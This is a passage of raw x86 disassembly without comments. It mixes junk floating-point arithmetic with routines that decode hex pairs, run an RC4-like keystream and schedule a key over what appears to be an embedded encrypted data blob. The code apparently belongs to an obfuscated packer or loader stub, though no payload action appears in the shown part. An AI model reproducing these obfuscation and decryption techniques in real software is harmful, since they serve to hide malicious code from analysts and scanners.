mov dword [ebp - 0x44c0], edx
jmp 0x43d087
movsd xmm0, qword [ebp - 0x3ac4]
subsd xmm0, qword [ebp - 0x3ed0]
movsd qword [ebp - 0x3ac4], xmm0
movsd xmm0, qword [ebp - 0x3ed0]
mulsd xmm0, qword [ebp - 0x3b44]
movsd qword [ebp - 0x3ed0], xmm0
movsd xmm0, qword [ebp - 0x3df8]
divsd xmm0, qword [ebp - 0x3ac4]
movsd qword [ebp - 0x3df8], xmm0
movsd xmm0, qword [ebp - 0x3b44]
subsd xmm0, qword [ebp - 0x3e20]
movsd qword [ebp - 0x3b44], xmm0
movsd xmm0, qword [ebp - 0x3ac4]
divsd xmm0, qword [ebp - 0x3ed0]
movsd qword [ebp - 0x3ac4], xmm0
movsd xmm0, qword [ebp - 0x3ed0]
mulsd xmm0, qword [ebp - 0x3b44]
movsd qword [ebp - 0x3ed0], xmm0
movsd xmm0, qword [ebp - 0x3ed0]
subsd xmm0, qword [ebp - 0x3b44]
movsd qword [ebp - 0x3ed0], xmm0
movsd xmm0, qword [ebp - 0x3ed0]
mulsd xmm0, qword [ebp - 0x3b44]
movsd qword [ebp - 0x3ed0], xmm0
movsd xmm0, qword [ebp - 0x3e20]
mulsd xmm0, qword [ebp - 0x3df8]
movsd qword [ebp - 0x3e20], xmm0
movsd xmm0, qword [ebp - 0x3df8]
divsd xmm0, qword [ebp - 0x3ac4]
movsd qword [ebp - 0x3df8], xmm0
movsd xmm0, qword [ebp - 0x3ac4]
comisd xmm0, xmmword [ebp - 0x3e20]
jbe 0x43ce93
movsd xmm0, qword [ebp - 0x3ac4]
subsd xmm0, qword [ebp - 0x3ed0]
movsd qword [ebp - 0x3ac4], xmm0
movsd xmm0, qword [ebp - 0x3e20]
addsd xmm0, qword [ebp - 0x3df8]
movsd qword [ebp - 0x3e20], xmm0
movsd xmm0, qword [ebp - 0x3ed0]
divsd xmm0, qword [ebp - 0x3b44]
movsd qword [ebp - 0x3ed0], xmm0
movsd xmm0, qword [ebp - 0x3e20]
addsd xmm0, qword [ebp - 0x3df8]
movsd qword [ebp - 0x3e20], xmm0
movsd xmm0, qword [ebp - 0x3ed0]
divsd xmm0, qword [ebp - 0x3b44]
movsd qword [ebp - 0x3ed0], xmm0
jmp 0x43d087
movsd xmm0, qword [ebp - 0x3e20]
mulsd xmm0, qword [ebp - 0x3ac4]
movsd qword [ebp - 0x3e20], xmm0
movsd xmm0, qword [ebp - 0x3ed0]
subsd xmm0, qword [ebp - 0x3e20]
movsd qword [ebp - 0x3ed0], xmm0
movsd xmm0, qword [ebp - 0x3ed0]
divsd xmm0, qword [ebp - 0x3e20]
movsd qword [ebp - 0x3ed0], xmm0
movsd xmm0, qword [ebp - 0x3ed0]
mulsd xmm0, qword [ebp - 0x3e20]
movsd qword [ebp - 0x3ed0], xmm0
movsd xmm0, qword [ebp - 0x3ac4]
mulsd xmm0, qword [ebp - 0x3b44]
movsd qword [ebp - 0x3ac4], xmm0
movsd xmm0, qword [ebp - 0x3b44]
divsd xmm0, qword [ebp - 0x3df8]
movsd qword [ebp - 0x3b44], xmm0
movsd xmm0, qword [ebp - 0x3ac4]
subsd xmm0, qword [ebp - 0x3b44]
movsd qword [ebp - 0x3ac4], xmm0
movsd xmm0, qword [ebp - 0x3ac4]
divsd xmm0, qword [ebp - 0x3b44]
movsd qword [ebp - 0x3ac4], xmm0
movsd xmm0, qword [ebp - 0x3df8]
mulsd xmm0, qword [ebp - 0x3ed0]
movsd qword [ebp - 0x3df8], xmm0
movsd xmm0, qword [ebp - 0x3b44]
divsd xmm0, qword [ebp - 0x3df8]
movsd qword [ebp - 0x3b44], xmm0
movsd xmm0, qword [ebp - 0x3ac4]
comisd xmm0, xmmword [ebp - 0x3b44]
jbe 0x43d00f
movsd xmm0, qword [ebp - 0x3e20]
divsd xmm0, qword [ebp - 0x3ac4]
movsd qword [ebp - 0x3e20], xmm0
movsd xmm0, qword [ebp - 0x3e20]
divsd xmm0, qword [ebp - 0x3ac4]
movsd qword [ebp - 0x3e20], xmm0
movsd xmm0, qword [ebp - 0x3b44]
mulsd xmm0, qword [ebp - 0x3df8]
movsd qword [ebp - 0x3b44], xmm0
movsd xmm0, qword [ebp - 0x3ac4]
subsd xmm0, qword [ebp - 0x3b44]
movsd qword [ebp - 0x3ac4], xmm0
movsd xmm0, qword [ebp - 0x3b44]
divsd xmm0, qword [ebp - 0x3df8]
movsd qword [ebp - 0x3b44], xmm0
jmp 0x43d087
movsd xmm0, qword [ebp - 0x3b44]
addsd xmm0, qword [ebp - 0x3e20]
movsd qword [ebp - 0x3b44], xmm0
movsd xmm0, qword [ebp - 0x3ac4]
addsd xmm0, qword [ebp - 0x3ed0]
movsd qword [ebp - 0x3ac4], xmm0
movsd xmm0, qword [ebp - 0x3df8]
subsd xmm0, qword [ebp - 0x3ac4]
movsd qword [ebp - 0x3df8], xmm0
movsd xmm0, qword [ebp - 0x3e20]
mulsd xmm0, qword [ebp - 0x3df8]
movsd qword [ebp - 0x3e20], xmm0
movsd xmm0, qword [ebp - 0x3e20]
addsd xmm0, qword [ebp - 0x3df8]
movsd qword [ebp - 0x3e20], xmm0
mov dword [ebp - 0x4364], 0
mov eax, dword [ebp - 0x44c4]
add eax, dword [ebp - 0x44c0]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x4364]
mov dword [ebp - 0x4364], ecx
mov dword [ebp - 0x43f0], 0
mov edx, dword [ebp - 0x43f0]
add edx, 0xb
mov dword [ebp - 0x43f0], edx
mov dword [ebp - 0x4370], 0
mov eax, dword [ebp - 0x43ec]
sub eax, dword [ebp - 0x4368]
add eax, dword [ebp - 0x4370]
mov dword [ebp - 0x4370], eax
mov dword [ebp - 0x43fc], 0
mov ecx, dword [ebp - 0x4364]
sub ecx, dword [ebp - 0x43f0]
add ecx, dword [ebp - 0x43fc]
mov dword [ebp - 0x43fc], ecx
mov dword [ebp - 0x44bc], 0
mov edx, dword [ebp - 0x4370]
shl edx, 4
mov dword [ebp - 0x44bc], edx
mov dword [ebp - 0x44b8], 0
mov eax, dword [ebp - 0x43fc]
mov dword [ebp - 0x44b8], eax
mov dword [ebp - 0x44b4], 0
mov ecx, dword [ebp - 0x44bc]
or ecx, dword [ebp - 0x44b8]
mov dword [ebp - 0x44b4], ecx
mov byte [ebp - 0x33ba], 0
mov dl, byte [ebp - 0x44b4]
mov byte [ebp - 0x33ba], dl
mov byte [ebp - 0x33c1], 0
movzx eax, byte [ebp - 0x3372]
mov cl, byte [ebp + eax - 0x6ae8]
mov byte [ebp - 0x33c1], cl
movzx edx, byte [ebp - 0x3311]
movzx eax, byte [ebp + edx - 0x6ae8]
movzx ecx, byte [ebp - 0x3324]
add ecx, eax
mov byte [ebp - 0x3324], cl
mov dl, byte [ebp - 0x3311]
add dl, 1
mov byte [ebp - 0x3311], dl
movzx eax, byte [ebp - 0x3324]
movzx ecx, byte [ebp - 0x3372]
mov dl, byte [ebp + eax - 0x6ae8]
mov byte [ebp + ecx - 0x6ae8], dl
movzx eax, byte [ebp - 0x3323]
movzx ecx, byte [ebp - 0x3324]
mov dl, byte [ebp + eax - 0x6ae8]
mov byte [ebp + ecx - 0x6ae8], dl
movzx eax, byte [ebp - 0x3311]
movzx ecx, byte [ebp - 0x3323]
mov dl, byte [ebp + eax - 0x6ae8]
mov byte [ebp + ecx - 0x6ae8], dl
movzx eax, byte [ebp - 0x3311]
mov cl, byte [ebp - 0x33c1]
mov byte [ebp + eax - 0x6ae8], cl
movzx edx, byte [ebp - 0x33c1]
movzx eax, byte [ebp + edx - 0x6ae8]
movzx ecx, byte [ebp - 0x33c2]
add ecx, eax
mov byte [ebp - 0x33c2], cl
movzx edx, byte [ebp - 0x33ba]
movzx eax, byte [ebp - 0x3324]
movzx ecx, byte [ebp + eax - 0x6ae8]
movzx eax, byte [ebp - 0x3311]
movzx eax, byte [ebp + eax - 0x6ae8]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x6ae8]
xor edx, ecx
movzx eax, byte [ebp - 0x3323]
movzx ecx, byte [ebp + eax - 0x6ae8]
movzx eax, byte [ebp - 0x3372]
movzx eax, byte [ebp + eax - 0x6ae8]
add ecx, eax
movzx eax, byte [ebp - 0x33c2]
movzx eax, byte [ebp + eax - 0x6ae8]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x6ae8]
movzx eax, byte [ebp + ecx - 0x6ae8]
xor edx, eax
mov byte [ebp - 0x3323], dl
movsd xmm0, qword [0xa71cc0]
movsd qword [ebp - 0x403c], xmm0
movsd xmm0, qword [0xa71bd0]
movsd qword [ebp - 0x414c], xmm0
movsd xmm0, qword [0xa71ae8]
movsd qword [ebp - 0x4330], xmm0
movsd xmm0, qword [0xa719d0]
movsd qword [ebp - 0x4388], xmm0
movsd xmm0, qword [0xa71820]
movsd qword [ebp - 0x439c], xmm0
movsd xmm0, qword [0xa716e8]
movsd qword [ebp - 0x3e70], xmm0
movsd xmm0, qword [ebp - 0x4330]
addsd xmm0, qword [ebp - 0x3e70]
movsd qword [ebp - 0x4330], xmm0
movsd xmm0, qword [ebp - 0x403c]
subsd xmm0, qword [ebp - 0x3e70]
movsd qword [ebp - 0x403c], xmm0
movsd xmm0, qword [ebp - 0x414c]
addsd xmm0, qword [ebp - 0x3e70]
movsd qword [ebp - 0x414c], xmm0
movsd xmm0, qword [ebp - 0x4330]
mulsd xmm0, qword [ebp - 0x3e70]
movsd qword [ebp - 0x4330], xmm0
movsd xmm0, qword [ebp - 0x4330]
mulsd xmm0, qword [ebp - 0x3e70]
movsd qword [ebp - 0x4330], xmm0
movsd xmm0, qword [ebp - 0x4388]
subsd xmm0, qword [ebp - 0x3e70]
movsd qword [ebp - 0x4388], xmm0
movsd xmm0, qword [ebp - 0x4330]
comisd xmm0, xmmword [ebp - 0x3e70]
jbe 0x43d462
movsd xmm0, qword [ebp - 0x3e70]
mulsd xmm0, qword [ebp - 0x403c]
movsd qword [ebp - 0x3e70], xmm0
movsd xmm0, qword [ebp - 0x403c]
mulsd xmm0, qword [ebp - 0x414c]
movsd qword [ebp - 0x403c], xmm0
movsd xmm0, qword [ebp - 0x403c]
subsd xmm0, qword [ebp - 0x414c]
movsd qword [ebp - 0x403c], xmm0
movsd xmm0, qword [ebp - 0x403c]
subsd xmm0, qword [ebp - 0x414c]
movsd qword [ebp - 0x403c], xmm0
movsd xmm0, qword [ebp - 0x403c]
mulsd xmm0, qword [ebp - 0x414c]
movsd qword [ebp - 0x403c], xmm0
movsd xmm0, qword [ebp - 0x414c]
addsd xmm0, qword [ebp - 0x4330]
movsd qword [ebp - 0x414c], xmm0
mov cl, byte [ebp - 0x33ba]
mov byte [ebp - 0x3372], cl
jmp 0x43d6bd
movsd xmm0, qword [ebp - 0x4388]
subsd xmm0, qword [ebp - 0x3e70]
movsd qword [ebp - 0x4388], xmm0
movsd xmm0, qword [ebp - 0x3e70]
mulsd xmm0, qword [ebp - 0x414c]
movsd qword [ebp - 0x3e70], xmm0
movsd xmm0, qword [ebp - 0x4388]
divsd xmm0, qword [ebp - 0x3e70]
movsd qword [ebp - 0x4388], xmm0
movsd xmm0, qword [ebp - 0x414c]
divsd xmm0, qword [ebp - 0x4388]
movsd qword [ebp - 0x414c], xmm0
movsd xmm0, qword [ebp - 0x3e70]
divsd xmm0, qword [ebp - 0x414c]
movsd qword [ebp - 0x3e70], xmm0
movsd xmm0, qword [ebp - 0x4388]
divsd xmm0, qword [ebp - 0x3e70]
movsd qword [ebp - 0x4388], xmm0
movsd xmm0, qword [ebp - 0x4388]
divsd xmm0, qword [ebp - 0x3e70]
movsd qword [ebp - 0x4388], xmm0
movsd xmm0, qword [ebp - 0x4330]
subsd xmm0, qword [ebp - 0x439c]
movsd qword [ebp - 0x4330], xmm0
movsd xmm0, qword [ebp - 0x439c]
subsd xmm0, qword [ebp - 0x403c]
movsd qword [ebp - 0x439c], xmm0
movsd xmm0, qword [ebp - 0x4330]
addsd xmm0, qword [ebp - 0x439c]
movsd qword [ebp - 0x4330], xmm0
movsd xmm0, qword [ebp - 0x414c]
mulsd xmm0, qword [ebp - 0x4388]
movsd qword [ebp - 0x414c], xmm0
movsd xmm0, qword [ebp - 0x4388]
addsd xmm0, qword [ebp - 0x3e70]
movsd qword [ebp - 0x4388], xmm0
movsd xmm0, qword [ebp - 0x3e70]
comisd xmm0, xmmword [ebp - 0x414c]
jbe 0x43d62d
movsd xmm0, qword [ebp - 0x439c]
addsd xmm0, qword [ebp - 0x403c]
movsd qword [ebp - 0x439c], xmm0
movsd xmm0, qword [ebp - 0x403c]
mulsd xmm0, qword [ebp - 0x4330]
movsd qword [ebp - 0x403c], xmm0
movsd xmm0, qword [ebp - 0x439c]
subsd xmm0, qword [ebp - 0x403c]
movsd qword [ebp - 0x439c], xmm0
movsd xmm0, qword [ebp - 0x3e70]
subsd xmm0, qword [ebp - 0x414c]
movsd qword [ebp - 0x3e70], xmm0
movsd xmm0, qword [ebp - 0x4330]
addsd xmm0, qword [ebp - 0x439c]
movsd qword [ebp - 0x4330], xmm0
movsd xmm0, qword [ebp - 0x439c]
addsd xmm0, qword [ebp - 0x403c]
movsd qword [ebp - 0x439c], xmm0
jmp 0x43d6bd
movsd xmm0, qword [ebp - 0x439c]
addsd xmm0, qword [ebp - 0x403c]
movsd qword [ebp - 0x439c], xmm0
movsd xmm0, qword [ebp - 0x403c]
addsd xmm0, qword [ebp - 0x4330]
movsd qword [ebp - 0x403c], xmm0
movsd xmm0, qword [ebp - 0x414c]
subsd xmm0, qword [ebp - 0x4388]
movsd qword [ebp - 0x414c], xmm0
movsd xmm0, qword [ebp - 0x3e70]
addsd xmm0, qword [ebp - 0x414c]
movsd qword [ebp - 0x3e70], xmm0
movsd xmm0, qword [ebp - 0x3e70]
addsd xmm0, qword [ebp - 0x414c]
movsd qword [ebp - 0x3e70], xmm0
movsd xmm0, qword [ebp - 0x439c]
mulsd xmm0, qword [ebp - 0x403c]
movsd qword [ebp - 0x439c], xmm0
mov dl, byte [ebp - 0x3323]
mov byte [ebp - 0x35c2], dl
cmp dword [ebp - 0x3830], 0
jle 0x43d6e8
movsx ax, byte [ebp - 0x35c2]
mov ecx, dword [ebp - 0x3830]
mov word [ebp + ecx*2 - 0x11e], ax
mov edx, dword [ebp - 0x3e48]
add edx, 4
mov dword [ebp - 0x3e48], edx
mov eax, dword [ebp - 0x3830]
add eax, 1
mov dword [ebp - 0x4b88], eax
jmp 0x43d717
mov ecx, dword [ebp - 0x4b88]
add ecx, 1
mov dword [ebp - 0x4b88], ecx
mov edx, dword [ebp - 0x4b88]
cmp edx, dword [ebp - 0x3e48]
jge 0x43d978
mov eax, dword [ebp - 0x3830]
add eax, 1
mov dword [ebp - 0x3830], eax
mov ecx, dword [ebp - 0x3830]
shl ecx, 1
mov dword [ebp - 0x44c8], ecx
mov edx, dword [ebp - 0x44c4]
add edx, dword [ebp - 0x44c8]
movzx eax, byte [edx]
mov dword [ebp - 0x43ec], eax
mov dword [ebp - 0x4368], 0x12
mov ecx, dword [ebp - 0x3830]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x44c0], edx
mov eax, dword [ebp - 0x44c4]
add eax, dword [ebp - 0x44c0]
movzx ecx, byte [eax]
mov dword [ebp - 0x4364], ecx
mov dword [ebp - 0x43f0], 0xb
mov edx, dword [ebp - 0x43ec]
sub edx, dword [ebp - 0x4368]
mov dword [ebp - 0x4370], edx
mov eax, dword [ebp - 0x4364]
sub eax, dword [ebp - 0x43f0]
mov dword [ebp - 0x43fc], eax
mov ecx, dword [ebp - 0x4370]
shl ecx, 4
mov dword [ebp - 0x44bc], ecx
mov edx, dword [ebp - 0x43fc]
mov dword [ebp - 0x44b8], edx
mov eax, dword [ebp - 0x44bc]
or eax, dword [ebp - 0x44b8]
mov dword [ebp - 0x44b4], eax
mov cl, byte [ebp - 0x44b4]
mov byte [ebp - 0x33ba], cl
movzx edx, byte [ebp - 0x3372]
mov al, byte [ebp + edx - 0x6ae8]
mov byte [ebp - 0x33c1], al
movzx ecx, byte [ebp - 0x3311]
movzx edx, byte [ebp + ecx - 0x6ae8]
movzx eax, byte [ebp - 0x3324]
add eax, edx
mov byte [ebp - 0x3324], al
mov cl, byte [ebp - 0x3311]
add cl, 1
mov byte [ebp - 0x3311], cl
movzx edx, byte [ebp - 0x3324]
movzx eax, byte [ebp - 0x3372]
mov cl, byte [ebp + edx - 0x6ae8]
mov byte [ebp + eax - 0x6ae8], cl
movzx edx, byte [ebp - 0x3323]
movzx eax, byte [ebp - 0x3324]
mov cl, byte [ebp + edx - 0x6ae8]
mov byte [ebp + eax - 0x6ae8], cl
movzx edx, byte [ebp - 0x3311]
movzx eax, byte [ebp - 0x3323]
mov cl, byte [ebp + edx - 0x6ae8]
mov byte [ebp + eax - 0x6ae8], cl
movzx edx, byte [ebp - 0x3311]
mov al, byte [ebp - 0x33c1]
mov byte [ebp + edx - 0x6ae8], al
movzx ecx, byte [ebp - 0x33c1]
movzx edx, byte [ebp + ecx - 0x6ae8]
movzx eax, byte [ebp - 0x33c2]
add eax, edx
mov byte [ebp - 0x33c2], al
movzx ecx, byte [ebp - 0x33ba]
movzx edx, byte [ebp - 0x3324]
movzx eax, byte [ebp + edx - 0x6ae8]
movzx edx, byte [ebp - 0x3311]
movzx edx, byte [ebp + edx - 0x6ae8]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x6ae8]
xor ecx, eax
movzx edx, byte [ebp - 0x3323]
movzx eax, byte [ebp + edx - 0x6ae8]
movzx edx, byte [ebp - 0x3372]
movzx edx, byte [ebp + edx - 0x6ae8]
add eax, edx
movzx edx, byte [ebp - 0x33c2]
movzx edx, byte [ebp + edx - 0x6ae8]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x6ae8]
movzx edx, byte [ebp + eax - 0x6ae8]
xor ecx, edx
mov byte [ebp - 0x3323], cl
mov al, byte [ebp - 0x33ba]
mov byte [ebp - 0x3372], al
mov cl, byte [ebp - 0x3323]
mov byte [ebp - 0x35c2], cl
cmp dword [ebp - 0x3830], 0
jle 0x43d973
movsx dx, byte [ebp - 0x35c2]
mov eax, dword [ebp - 0x3830]
mov word [ebp + eax*2 - 0x11e], dx
jmp 0x43d708
mov ecx, dword [ebp - 0x3e48]
add ecx, 1
mov dword [ebp - 0x3e48], ecx
mov edx, dword [ebp - 0x3e48]
add edx, 4
mov dword [ebp - 0x3e48], edx
mov eax, dword [ebp - 0x3830]
add eax, 1
mov dword [ebp - 0x4b8c], eax
jmp 0x43d9b6
mov ecx, dword [ebp - 0x4b8c]
add ecx, 1
mov dword [ebp - 0x4b8c], ecx
mov edx, dword [ebp - 0x4b8c]
cmp edx, dword [ebp - 0x3e48]
jge 0x43dc17
mov eax, dword [ebp - 0x3830]
add eax, 1
mov dword [ebp - 0x3830], eax
mov ecx, dword [ebp - 0x3830]
shl ecx, 1
mov dword [ebp - 0x44c8], ecx
mov edx, dword [ebp - 0x44c4]
add edx, dword [ebp - 0x44c8]
movzx eax, byte [edx]
mov dword [ebp - 0x43ec], eax
mov dword [ebp - 0x4368], 0x12
mov ecx, dword [ebp - 0x3830]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x44c0], edx
mov eax, dword [ebp - 0x44c4]
add eax, dword [ebp - 0x44c0]
movzx ecx, byte [eax]
mov dword [ebp - 0x4364], ecx
mov dword [ebp - 0x43f0], 0xb
mov edx, dword [ebp - 0x43ec]
sub edx, dword [ebp - 0x4368]
mov dword [ebp - 0x4370], edx
mov eax, dword [ebp - 0x4364]
sub eax, dword [ebp - 0x43f0]
mov dword [ebp - 0x43fc], eax
mov ecx, dword [ebp - 0x4370]
shl ecx, 4
mov dword [ebp - 0x44bc], ecx
mov edx, dword [ebp - 0x43fc]
mov dword [ebp - 0x44b8], edx
mov eax, dword [ebp - 0x44bc]
or eax, dword [ebp - 0x44b8]
mov dword [ebp - 0x44b4], eax
mov cl, byte [ebp - 0x44b4]
mov byte [ebp - 0x33ba], cl
movzx edx, byte [ebp - 0x3372]
mov al, byte [ebp + edx - 0x6ae8]
mov byte [ebp - 0x33c1], al
movzx ecx, byte [ebp - 0x3311]
movzx edx, byte [ebp + ecx - 0x6ae8]
movzx eax, byte [ebp - 0x3324]
add eax, edx
mov byte [ebp - 0x3324], al
mov cl, byte [ebp - 0x3311]
add cl, 1
mov byte [ebp - 0x3311], cl
movzx edx, byte [ebp - 0x3324]
movzx eax, byte [ebp - 0x3372]
mov cl, byte [ebp + edx - 0x6ae8]
mov byte [ebp + eax - 0x6ae8], cl
movzx edx, byte [ebp - 0x3323]
movzx eax, byte [ebp - 0x3324]
mov cl, byte [ebp + edx - 0x6ae8]
mov byte [ebp + eax - 0x6ae8], cl
movzx edx, byte [ebp - 0x3311]
movzx eax, byte [ebp - 0x3323]
mov cl, byte [ebp + edx - 0x6ae8]
mov byte [ebp + eax - 0x6ae8], cl
movzx edx, byte [ebp - 0x3311]
mov al, byte [ebp - 0x33c1]
mov byte [ebp + edx - 0x6ae8], al
movzx ecx, byte [ebp - 0x33c1]
movzx edx, byte [ebp + ecx - 0x6ae8]
movzx eax, byte [ebp - 0x33c2]
add eax, edx
mov byte [ebp - 0x33c2], al
movzx ecx, byte [ebp - 0x33ba]
movzx edx, byte [ebp - 0x3324]
movzx eax, byte [ebp + edx - 0x6ae8]
movzx edx, byte [ebp - 0x3311]
movzx edx, byte [ebp + edx - 0x6ae8]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x6ae8]
xor ecx, eax
movzx edx, byte [ebp - 0x3323]
movzx eax, byte [ebp + edx - 0x6ae8]
movzx edx, byte [ebp - 0x3372]
movzx edx, byte [ebp + edx - 0x6ae8]
add eax, edx
movzx edx, byte [ebp - 0x33c2]
movzx edx, byte [ebp + edx - 0x6ae8]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x6ae8]
movzx edx, byte [ebp + eax - 0x6ae8]
xor ecx, edx
mov byte [ebp - 0x3323], cl
mov al, byte [ebp - 0x33ba]
mov byte [ebp - 0x3372], al
mov cl, byte [ebp - 0x3323]
mov byte [ebp - 0x35c2], cl
cmp dword [ebp - 0x3830], 0
jle 0x43dc12
movsx dx, byte [ebp - 0x35c2]
mov eax, dword [ebp - 0x3830]
mov word [ebp + eax*2 - 0x11e], dx
jmp 0x43d9a7
mov ecx, dword [ebp - 0x3e48]
add ecx, 1
mov dword [ebp - 0x3e48], ecx
mov edx, 2
shl edx, 3
mov dword [ebp - 0x50e0], edx
cmp dword [ebp - 0x50e0], 0x12
jae 0x43dc3f
jmp 0x43dc44
call fcn.009f5b17
xor eax, eax
mov ecx, dword [ebp - 0x50e0]
mov word [ebp + ecx - 0x11c], ax
jmp 0x43dcaa
mov dword [ebp - 0x496c], 0
jmp 0x43dc71
mov edx, dword [ebp - 0x496c]
add edx, 1
mov dword [ebp - 0x496c], edx
cmp dword [ebp - 0x496c], 9
jge 0x43dcaa
mov eax, dword [ebp - 0x496c]
shl eax, 1
mov dword [ebp - 0x50dc], eax
cmp dword [ebp - 0x50dc], 0x12
jae 0x43dc93
jmp 0x43dc98
call fcn.009f5b17
xor ecx, ecx
mov edx, dword [ebp - 0x50dc]
mov word [ebp + edx - 0x11c], cx
jmp 0x43dc62
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x447889
mov dword [ebp - 0x31a0], 0
mov dword [ebp - 0x31a4], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x475c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4604], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4604], xmm0
jmp 0x43dd05
movsd xmm0, qword [ebp - 0x4604]
addsd xmm0, qword [0xa71350]
movsd qword [ebp - 0x4604], xmm0
movsd xmm0, qword [0xa71858]
comisd xmm0, xmmword [ebp - 0x4604]
jbe 0x43ddb6
movsd xmm0, qword [0xa71618]
mulsd xmm0, qword [ebp - 0x4604]
mulsd xmm0, qword [ebp - 0x4604]
movsd xmm1, qword [ebp - 0x4604]
mulsd xmm1, qword [ebp - 0x4604]
subsd xmm0, xmm1
movsd xmm1, qword [0xa713e0]
mulsd xmm1, qword [ebp - 0x4604]
mulsd xmm1, qword [ebp - 0x4604]
addsd xmm1, qword [0xa71458]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x475c]
movsd qword [ebp - 0x475c], xmm0
movsd xmm0, qword [ebp - 0x475c]
comisd xmm0, xmmword [0xa715b8]
jbe 0x43ddb1
movsd xmm0, qword [0xa712e8]
mulsd xmm0, qword [ebp - 0x4604]
movsd xmm1, qword [ebp - 0x475c]
subsd xmm1, xmm0
movsd qword [ebp - 0x475c], xmm1
jmp 0x43dced
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x475c]
jbe 0x43de74
push 0x617a293d
inc ebx
jns 0x43de3a
sub dword [eax + 0x5e], esi
imul ebp, dword [edi + 0x47], 0x6a
insb byte es:[edi], dx
xor dword [esi + 0x52], esi
sub dh, byte [edx + 0x25]
jne 0x43de06
pop ebx
popal
sub cl, byte [ebp + 0x2f]
push 0x4d
xlatb
sti
xlatb
fdivr st(6)
iretd
std
sal ebx, cl
aam 0xf0
retf
clc
xlatb
hlt
mov dword [ebp - 0x31a0], 0x43dde7
mov dword [ebp - 0x31a4], 0x43ddc7
mov ecx, dword [ebp - 0x31a0]
mov dword [ebp - 0x3d18], ecx
mov edx, dword [ebp - 0x31a4]
mov dword [ebp - 0x64b8], edx
mov byte [ebp - 0x3fea], 0x24
mov dword [ebp - 0x382c], 0
jmp 0x43dec2
mov eax, dword [ebp - 0x382c]
add eax, 1
mov dword [ebp - 0x382c], eax
cmp dword [ebp - 0x382c], 0x100
jae 0x43dee3
mov ecx, dword [ebp - 0x382c]
mov dl, byte [ebp - 0x382c]
mov byte [ebp + ecx - 0x62e4], dl
jmp 0x43deb3
mov dword [ebp - 0x44b0], 0
mov byte [ebp - 0x3342], 0
mov dword [ebp - 0x382c], 0xff
jmp 0x43df0f
mov eax, dword [ebp - 0x382c]
sub eax, 1
mov dword [ebp - 0x382c], eax
cmp dword [ebp - 0x382c], 0
jbe 0x43e17f
mov dword [ebp - 0x4b90], 0
mov dword [ebp - 0x4970], 1
mov ecx, dword [ebp - 0x4970]
cmp ecx, dword [ebp - 0x382c]
jae 0x43df50
mov edx, dword [ebp - 0x4970]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x4970], eax
jmp 0x43df30
mov ecx, dword [ebp - 0x44b0]
mov dword [ebp - 0x50d8], ecx
cmp dword [ebp - 0x50d8], 3
ja case.default.0x43df6f
mov edx, dword [ebp - 0x50d8]
jmp dword [edx*4 + 0x46b018]
movzx eax, byte [ebp - 0x3342]
movzx ebx, byte [ebp + eax - 0x62e4]
movsd xmm0, qword [ebp - 0x475c]
call fcn.009f5ff0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3342], bl
jmp 0x43e058
movzx ecx, byte [ebp - 0x3342]
movzx ebx, byte [ebp + ecx - 0x62e4]
movsd xmm0, qword [ebp - 0x475c]
call fcn.009f5ff0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3342], bl
jmp 0x43e058
movzx edx, byte [ebp - 0x3342]
movzx ebx, byte [ebp + edx - 0x62e4]
movsd xmm0, qword [ebp - 0x475c]
call fcn.009f5ff0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3342], bl
jmp 0x43e058
movzx eax, byte [ebp - 0x3342]
movzx ebx, byte [ebp + eax - 0x62e4]
movsd xmm0, qword [ebp - 0x475c]
call fcn.009f5ff0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3342], bl
jmp 0x43e058
movzx ecx, byte [ebp - 0x3342]
movzx edx, byte [ebp + ecx - 0x62e4]
mov eax, dword [ebp - 0x64b8]
add eax, dword [ebp - 0x44b0]
movzx ecx, byte [eax - 4]
add edx, ecx
mov byte [ebp - 0x3342], dl
mov edx, dword [ebp - 0x44b0]
add edx, 1
mov dword [ebp - 0x44b0], edx
movzx eax, byte [ebp - 0x3fea]
cmp dword [ebp - 0x44b0], eax
jb 0x43e096
mov dword [ebp - 0x44b0], 0
movzx ecx, byte [ebp - 0x3fea]
movzx edx, byte [ebp - 0x3342]
add edx, ecx
mov byte [ebp - 0x3342], dl
movzx eax, byte [ebp - 0x3342]
and eax, dword [ebp - 0x4970]
mov dword [ebp - 0x428c], eax
mov ecx, dword [ebp - 0x4b90]
add ecx, 1
mov dword [ebp - 0x4b90], ecx
cmp dword [ebp - 0x4b90], 0xb
jbe 0x43e0d5
mov eax, dword [ebp - 0x428c]
xor edx, edx
div dword [ebp - 0x382c]
mov dword [ebp - 0x428c], edx
mov edx, dword [ebp - 0x428c]
cmp edx, dword [ebp - 0x382c]
ja 0x43df50
mov eax, dword [ebp - 0x382c]
cmp eax, dword [ebp - 0x428c]
je 0x43e17a
mov ecx, dword [ebp - 0x428c]
movzx edx, byte [ebp + ecx - 0x62e4]
mov eax, dword [ebp - 0x382c]
movzx ecx, byte [ebp + eax - 0x62e4]
xor ecx, edx
mov edx, dword [ebp - 0x382c]
mov byte [ebp + edx - 0x62e4], cl
mov eax, dword [ebp - 0x382c]
movzx ecx, byte [ebp + eax - 0x62e4]
mov edx, dword [ebp - 0x428c]
movzx eax, byte [ebp + edx - 0x62e4]
xor eax, ecx
mov ecx, dword [ebp - 0x428c]
mov byte [ebp + ecx - 0x62e4], al
mov edx, dword [ebp - 0x428c]
movzx eax, byte [ebp + edx - 0x62e4]
mov ecx, dword [ebp - 0x382c]
movzx edx, byte [ebp + ecx - 0x62e4]
xor edx, eax
